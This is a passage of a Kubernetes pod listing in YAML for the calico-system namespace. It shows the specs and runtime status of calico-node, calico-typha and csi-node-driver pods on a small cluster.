        type: DirectoryOrCreate
      name: cni-bin-dir
    - hostPath:
        path: /var/log/calico/cni
        type: ""
      name: cni-log-dir
    - hostPath:
        path: /etc/cni/net.d
        type: ""
      name: cni-net-dir
    - hostPath:
        path: /lib/modules
        type: ""
      name: lib-modules
    - name: node-certs
      secret:
        defaultMode: 420
        secretName: node-certs
    - hostPath:
        path: /var/run/nodeagent
        type: DirectoryOrCreate
      name: policysync
    - configMap:
        defaultMode: 420
        name: tigera-ca-bundle
      name: tigera-ca-bundle
    - hostPath:
        path: /var/lib/calico
        type: DirectoryOrCreate
      name: var-lib-calico
    - hostPath:
        path: /var/run/calico
        type: DirectoryOrCreate
      name: var-run-calico
    - hostPath:
        path: /run/xtables.lock
        type: FileOrCreate
      name: xtables-lock
    - name: kube-api-access-4xnd8
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:31Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:27:09Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:27Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:27Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:26:59Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 250m
      containerID: containerd://cfc33f456b85dd3e16c83f8e701b5bb6620bbad860e694e576c4767bb290febc
      image: quay.io/calico/node:v3.30.4
      imageID: quay.io/calico/node@sha256:362f10b69142fcc654c0ab65a5f371923f9a1d8f7772eac0ff223b9dc67704de
      lastState:
        terminated:
          containerID: containerd://22de989d60d0d79d20d84ebdfa66b7d65e8d26d868f205eb21c7147e8d1a7150
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:17Z"
      name: calico-node
      ready: true
      resources:
        requests:
          cpu: 250m
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:39Z"
      volumeMounts:
      - mountPath: /var/log/calico/cni
        name: cni-log-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /node-certs
        name: node-certs
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/nodeagent
        name: policysync
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/lib/calico
        name: var-lib-calico
      - mountPath: /var/run/calico
        name: var-run-calico
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-4xnd8
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    initContainerStatuses:
    - containerID: containerd://984faa3182f1ce4fd11e0a38f5c4b003e0e0c745fff6bc89796c4bfb2cfc1775
      image: quay.io/calico/cni:v3.30.4
      imageID: quay.io/calico/cni@sha256:807aa264f01c9b9a8c5d26d5ba4fcbc428ab1b8b9798eeac04a64f4930a30c25
      lastState: {}
      name: install-cni
      ready: true
      resources: {}
      restartCount: 3
      started: false
      state:
        terminated:
          containerID: containerd://984faa3182f1ce4fd11e0a38f5c4b003e0e0c745fff6bc89796c4bfb2cfc1775
          exitCode: 0
          finishedAt: "2025-11-29T13:23:36Z"
          reason: Completed
          startedAt: "2025-11-29T13:23:31Z"
      volumeMounts:
      - mountPath: /host/opt/cni/bin
        name: cni-bin-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-4xnd8
        readOnly: true
        recursiveReadOnly: Disabled
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: Burstable
    startTime: "2025-10-19T16:26:59Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      hash.operator.tigera.io/cni-config: 6157f72bdda4d912a243fe0cee1c517ec93c2d8c
      hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
    creationTimestamp: "2025-10-19T16:28:25Z"
    generateName: calico-node-
    generation: 1
    labels:
      app.kubernetes.io/name: calico-node
      controller-revision-hash: 54cf9464f
      k8s-app: calico-node
      pod-template-generation: "3"
    name: calico-node-x7hhp
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: calico-node
      uid: e123d82e-d5e2-4fdd-9df3-ed3b2428160b
    resourceVersion: "18008271"
    uid: 93b4252d-7627-4785-81d5-1bb866f25c88
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-1
    containers:
    - env:
      - name: DATASTORE_TYPE
        value: kubernetes
      - name: WAIT_FOR_DATASTORE
        value: "true"
      - name: CLUSTER_TYPE
        value: k8s,operator,bgp
      - name: CALICO_DISABLE_FILE_LOGGING
        value: "false"
      - name: FELIX_DEFAULTENDPOINTTOHOSTACTION
        value: ACCEPT
      - name: FELIX_HEALTHENABLED
        value: "true"
      - name: FELIX_HEALTHPORT
        value: "9099"
      - name: NODENAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      - name: NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      - name: FELIX_TYPHAK8SNAMESPACE
        value: calico-system
      - name: FELIX_TYPHAK8SSERVICENAME
        value: calico-typha
      - name: FELIX_TYPHACAFILE
        value: /etc/pki/tls/certs/tigera-ca-bundle.crt
      - name: FELIX_TYPHACERTFILE
        value: /node-certs/tls.crt
      - name: FELIX_TYPHAKEYFILE
        value: /node-certs/tls.key
      - name: NO_DEFAULT_POOLS
        value: "true"
      - name: FELIX_FLOWLOGSGOLDMANESERVER
        value: goldmane.calico-system.svc:7443
      - name: FELIX_FLOWLOGSFLUSHINTERVAL
        value: "15"
      - name: FELIX_TYPHACN
        value: typha-server
      - name: CALICO_MANAGE_CNI
        value: "true"
      - name: FELIX_VXLANMTU
        value: "0"
      - name: FELIX_WIREGUARDMTU
        value: "0"
      - name: CALICO_NETWORKING_BACKEND
        value: bird
      - name: FELIX_IPINIPMTU
        value: "0"
      - name: IP
        value: autodetect
      - name: IP_AUTODETECTION_METHOD
        value: first-found
      - name: IP6
        value: none
      - name: FELIX_IPV6SUPPORT
        value: "false"
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      image: quay.io/calico/node:v3.30.4
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - /bin/calico-node
            - -shutdown
      livenessProbe:
        failureThreshold: 3
        httpGet:
          host: localhost
          path: /liveness
          port: 9099
          scheme: HTTP
        periodSeconds: 60
        successThreshold: 1
        timeoutSeconds: 10
      name: calico-node
      readinessProbe:
        exec:
          command:
          - /bin/calico-node
          - -bird-ready
          - -felix-ready
        failureThreshold: 3
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 10
      resources:
        requests:
          cpu: 250m
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/log/calico/cni
        name: cni-log-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
      - mountPath: /node-certs
        name: node-certs
        readOnly: true
      - mountPath: /var/run/nodeagent
        name: policysync
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        subPath: ca-bundle.crt
      - mountPath: /var/lib/calico
        name: var-lib-calico
      - mountPath: /var/run/calico
        name: var-run-calico
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hjx4c
        readOnly: true
    dnsPolicy: Default
    enableServiceLinks: true
    hostAliases:
    - hostnames:
      - goldmane.calico-system.svc
      ip: 10.110.195.55
    hostNetwork: true
    initContainers:
    - command:
      - /opt/cni/bin/install
      env:
      - name: CNI_CONF_NAME
        value: 10-calico.conflist
      - name: SLEEP
        value: "false"
      - name: CNI_NET_DIR
        value: /etc/cni/net.d
      - name: CNI_NETWORK_CONFIG
        valueFrom:
          configMapKeyRef:
            key: config
            name: cni-config
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      image: quay.io/calico/cni:v3.30.4
      imagePullPolicy: IfNotPresent
      name: install-cni
      resources: {}
      securityContext:
        allowPrivilegeEscalation: true
        capabilities:
          drop:
          - ALL
        privileged: true
        runAsGroup: 0
        runAsNonRoot: false
        runAsUser: 0
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /host/opt/cni/bin
        name: cni-bin-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hjx4c
        readOnly: true
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000001000
    priorityClassName: system-node-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: calico-node
    serviceAccountName: calico-node
    terminationGracePeriodSeconds: 5
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - hostPath:
        path: /opt/cni/bin
        type: DirectoryOrCreate
      name: cni-bin-dir
    - hostPath:
        path: /var/log/calico/cni
        type: ""
      name: cni-log-dir
    - hostPath:
        path: /etc/cni/net.d
        type: ""
      name: cni-net-dir
    - hostPath:
        path: /lib/modules
        type: ""
      name: lib-modules
    - name: node-certs
      secret:
        defaultMode: 420
        secretName: node-certs
    - hostPath:
        path: /var/run/nodeagent
        type: DirectoryOrCreate
      name: policysync
    - configMap:
        defaultMode: 420
        name: tigera-ca-bundle
      name: tigera-ca-bundle
    - hostPath:
        path: /var/lib/calico
        type: DirectoryOrCreate
      name: var-lib-calico
    - hostPath:
        path: /var/run/calico
        type: DirectoryOrCreate
      name: var-run-calico
    - hostPath:
        path: /run/xtables.lock
        type: FileOrCreate
      name: xtables-lock
    - name: kube-api-access-hjx4c
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:02Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:28:37Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:14:30Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:14:30Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:28:25Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 250m
      containerID: containerd://4b50c7d8f90939f11f8c855eab7bad6dfa8b3ec8f54f63c2faccf3ae1a5bd3b6
      image: quay.io/calico/node:v3.30.4
      imageID: quay.io/calico/node@sha256:362f10b69142fcc654c0ab65a5f371923f9a1d8f7772eac0ff223b9dc67704de
      lastState:
        terminated:
          containerID: containerd://e67d46dacbb8864c5726b4f258117604477633edb7cb75f6d752c43336ee942d
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:23Z"
      name: calico-node
      ready: true
      resources:
        requests:
          cpu: 250m
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:58Z"
      volumeMounts:
      - mountPath: /var/log/calico/cni
        name: cni-log-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /lib/modules
        name: lib-modules
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /node-certs
        name: node-certs
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/nodeagent
        name: policysync
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/lib/calico
        name: var-lib-calico
      - mountPath: /var/run/calico
        name: var-run-calico
      - mountPath: /run/xtables.lock
        name: xtables-lock
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hjx4c
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    initContainerStatuses:
    - containerID: containerd://655236466df20aca106f414753b13015eb4e429912da229917b177f1ac486d40
      image: quay.io/calico/cni:v3.30.4
      imageID: quay.io/calico/cni@sha256:807aa264f01c9b9a8c5d26d5ba4fcbc428ab1b8b9798eeac04a64f4930a30c25
      lastState: {}
      name: install-cni
      ready: true
      resources: {}
      restartCount: 4
      started: false
      state:
        terminated:
          containerID: containerd://655236466df20aca106f414753b13015eb4e429912da229917b177f1ac486d40
          exitCode: 0
          finishedAt: "2025-11-29T11:13:58Z"
          reason: Completed
          startedAt: "2025-11-29T11:13:57Z"
      volumeMounts:
      - mountPath: /host/opt/cni/bin
        name: cni-bin-dir
      - mountPath: /host/etc/cni/net.d
        name: cni-net-dir
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-hjx4c
        readOnly: true
        recursiveReadOnly: Disabled
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: Burstable
    startTime: "2025-10-19T16:28:25Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
      tigera-operator.hash.operator.tigera.io/typha-certs: 229930b535eada8da6b599d783237feff23e7b7c
    creationTimestamp: "2025-10-19T16:24:42Z"
    generateName: calico-typha-68b6598cf8-
    generation: 1
    labels:
      app.kubernetes.io/name: calico-typha
      k8s-app: calico-typha
      pod-template-hash: 68b6598cf8
    name: calico-typha-68b6598cf8-8hgmg
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: calico-typha-68b6598cf8
      uid: 89bd350e-3cac-4756-bbd2-a04ba9bf08a3
    resourceVersion: "18033420"
    uid: 35e5fbfb-0551-4ee7-b34d-b6c864ce3659
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchExpressions:
              - key: k8s-app
                operator: In
                values:
                - calico-typha
            topologyKey: topology.kubernetes.io/zone
          weight: 1
    containers:
    - env:
      - name: TYPHA_LOGSEVERITYSCREEN
        value: info
      - name: TYPHA_LOGFILEPATH
        value: none
      - name: TYPHA_LOGSEVERITYSYS
        value: none
      - name: TYPHA_CONNECTIONREBALANCINGMODE
        value: kubernetes
      - name: TYPHA_DATASTORETYPE
        value: kubernetes
      - name: TYPHA_HEALTHENABLED
        value: "true"
      - name: TYPHA_HEALTHPORT
        value: "9098"
      - name: TYPHA_K8SNAMESPACE
        value: calico-system
      - name: TYPHA_CAFILE
        value: /etc/pki/tls/certs/tigera-ca-bundle.crt
      - name: TYPHA_SERVERCERTFILE
        value: /typha-certs/tls.crt
      - name: TYPHA_SERVERKEYFILE
        value: /typha-certs/tls.key
      - name: TYPHA_SHUTDOWNTIMEOUTSECS
        value: "300"
      - name: TYPHA_CLIENTCN
        value: typha-client
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      image: quay.io/calico/typha:v3.30.4
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          host: localhost
          path: /liveness
          port: 9098
          scheme: HTTP
        periodSeconds: 60
        successThreshold: 1
        timeoutSeconds: 10
      name: calico-typha
      ports:
      - containerPort: 5473
        hostPort: 5473
        name: calico-typha
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: localhost
          path: /readiness
          port: 9098
          scheme: HTTP
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 10
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsGroup: 10001
        runAsNonRoot: true
        runAsUser: 10001
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        subPath: ca-bundle.crt
      - mountPath: /typha-certs
        name: typha-certs
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-prfxt
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000000000
    priorityClassName: system-cluster-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: calico-typha
    serviceAccountName: calico-typha
    terminationGracePeriodSeconds: 300
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      operator: Exists
    volumes:
    - configMap:
        defaultMode: 420
        name: tigera-ca-bundle
      name: tigera-ca-bundle
    - name: typha-certs
      secret:
        defaultMode: 420
        secretName: typha-certs
    - name: kube-api-access-prfxt
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:31Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:24:42Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:46Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:46Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:24:42Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://ad90e01fe048b96732bc26f540708318ffd32b3192b9a6a15053130b8d25cbf7
      image: quay.io/calico/typha:v3.30.4
      imageID: quay.io/calico/typha@sha256:8bb31fa2ba799cfe37451534be29e09598982451374f8ce41133171eb6070777
      lastState:
        terminated:
          containerID: containerd://77f61acac391ecfa35558c6dc580545c439b3d51971ab94043002758419a1984
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:13Z"
      name: calico-typha
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:31Z"
      volumeMounts:
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /typha-certs
        name: typha-certs
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-prfxt
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: BestEffort
    startTime: "2025-10-19T16:24:42Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      hash.operator.tigera.io/system: afea2595203eb027afcee25a2f11a6666a8de557
      tigera-operator.hash.operator.tigera.io/tigera-ca-private: 0610c30ec049a737a215082df5f03a3838fc2b48
      tigera-operator.hash.operator.tigera.io/typha-certs: 229930b535eada8da6b599d783237feff23e7b7c
    creationTimestamp: "2025-10-19T16:24:42Z"
    generateName: calico-typha-68b6598cf8-
    generation: 1
    labels:
      app.kubernetes.io/name: calico-typha
      k8s-app: calico-typha
      pod-template-hash: 68b6598cf8
    name: calico-typha-68b6598cf8-spshx
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: calico-typha-68b6598cf8
      uid: 89bd350e-3cac-4756-bbd2-a04ba9bf08a3
    resourceVersion: "18007536"
    uid: 2662d551-4bc6-48a9-abae-e00072c2e5ad
  spec:
    affinity:
      podAntiAffinity:
        preferredDuringSchedulingIgnoredDuringExecution:
        - podAffinityTerm:
            labelSelector:
              matchExpressions:
              - key: k8s-app
                operator: In
                values:
                - calico-typha
            topologyKey: topology.kubernetes.io/zone
          weight: 1
    containers:
    - env:
      - name: TYPHA_LOGSEVERITYSCREEN
        value: info
      - name: TYPHA_LOGFILEPATH
        value: none
      - name: TYPHA_LOGSEVERITYSYS
        value: none
      - name: TYPHA_CONNECTIONREBALANCINGMODE
        value: kubernetes
      - name: TYPHA_DATASTORETYPE
        value: kubernetes
      - name: TYPHA_HEALTHENABLED
        value: "true"
      - name: TYPHA_HEALTHPORT
        value: "9098"
      - name: TYPHA_K8SNAMESPACE
        value: calico-system
      - name: TYPHA_CAFILE
        value: /etc/pki/tls/certs/tigera-ca-bundle.crt
      - name: TYPHA_SERVERCERTFILE
        value: /typha-certs/tls.crt
      - name: TYPHA_SERVERKEYFILE
        value: /typha-certs/tls.key
      - name: TYPHA_SHUTDOWNTIMEOUTSECS
        value: "300"
      - name: TYPHA_CLIENTCN
        value: typha-client
      - name: KUBERNETES_SERVICE_HOST
        value: 10.96.0.1
      - name: KUBERNETES_SERVICE_PORT
        value: "443"
      image: quay.io/calico/typha:v3.30.4
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          host: localhost
          path: /liveness
          port: 9098
          scheme: HTTP
        periodSeconds: 60
        successThreshold: 1
        timeoutSeconds: 10
      name: calico-typha
      ports:
      - containerPort: 5473
        hostPort: 5473
        name: calico-typha
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          host: localhost
          path: /readiness
          port: 9098
          scheme: HTTP
        periodSeconds: 30
        successThreshold: 1
        timeoutSeconds: 10
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsGroup: 10001
        runAsNonRoot: true
        runAsUser: 10001
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        subPath: ca-bundle.crt
      - mountPath: /typha-certs
        name: typha-certs
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-p2t67
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    nodeName: k8s-m-1
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 2000000000
    priorityClassName: system-cluster-critical
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: calico-typha
    serviceAccountName: calico-typha
    terminationGracePeriodSeconds: 300
    tolerations:
    - key: CriticalAddonsOnly
      operator: Exists
    - effect: NoSchedule
      operator: Exists
    - effect: NoExecute
      operator: Exists
    volumes:
    - configMap:
        defaultMode: 420
        name: tigera-ca-bundle
      name: tigera-ca-bundle
    - name: typha-certs
      secret:
        defaultMode: 420
        secretName: typha-certs
    - name: kube-api-access-p2t67
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:02Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:24:48Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:08Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:08Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T16:24:47Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://0672565161f66f311997f01b6e0c4c71c2d769ce7cafa7bc8d43967e25996521
      image: quay.io/calico/typha:v3.30.4
      imageID: quay.io/calico/typha@sha256:8bb31fa2ba799cfe37451534be29e09598982451374f8ce41133171eb6070777
      lastState:
        terminated:
          containerID: containerd://7ec588deb7382d477c864425a011ced140f1dc0f3f3dd6fe364abc2b7a51f55f
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:19Z"
      name: calico-typha
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:01Z"
      volumeMounts:
      - mountPath: /etc/pki/tls/certs
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /etc/pki/tls/cert.pem
        name: tigera-ca-bundle
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /typha-certs
        name: typha-certs
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-p2t67
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 172.16.30.16
    podIPs:
    - ip: 172.16.30.16
    qosClass: BestEffort
    startTime: "2025-10-19T16:24:48Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 5c8e66a80bcdf59cc11ce8f2a45e3651193b4584a0cdb2208a51bbde722c6614
      cni.projectcalico.org/podIP: 192.168.133.131/32
      cni.projectcalico.org/podIPs: 192.168.133.131/32
    creationTimestamp: "2025-10-19T16:12:27Z"
    generateName: csi-node-driver-
    generation: 1
    labels:
      app.kubernetes.io/name: csi-node-driver
      controller-revision-hash: 574b5f4769
      k8s-app: csi-node-driver
      name: csi-node-driver
      pod-template-generation: "1"
    name: csi-node-driver-pqf6l
    namespace: calico-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: csi-node-driver
      uid: 2e15d322-f044-463e-972a-fc916ef3808f
    resourceVersion: "18007815"
    uid: 2fadca2f-5d21-4542-9318-5fbe90bc626e
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-1
    containers:
    - args:
      - --nodeid=$(KUBE_NODE_NAME)
      - --loglevel=$(LOG_LEVEL)
      env:
      - name: LOG_LEVEL
        value: warn
      - name: KUBE_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
